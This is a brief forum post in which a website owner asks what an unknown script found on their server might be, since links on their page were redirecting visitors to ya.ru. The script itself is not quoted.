Know What This Is?

[Licker4U]

Someone told me my link to my webmasters page re-directed them to this page: http://ya.ru/ so I asked my server tech to look into it and he said he found this script but didn't know if it is legit or not. It's NOT on my hard drive copy of the page so does anyone know what this is and if you know what it is, how did it get on my page at the server? (fuckpage.com is one of my domains)
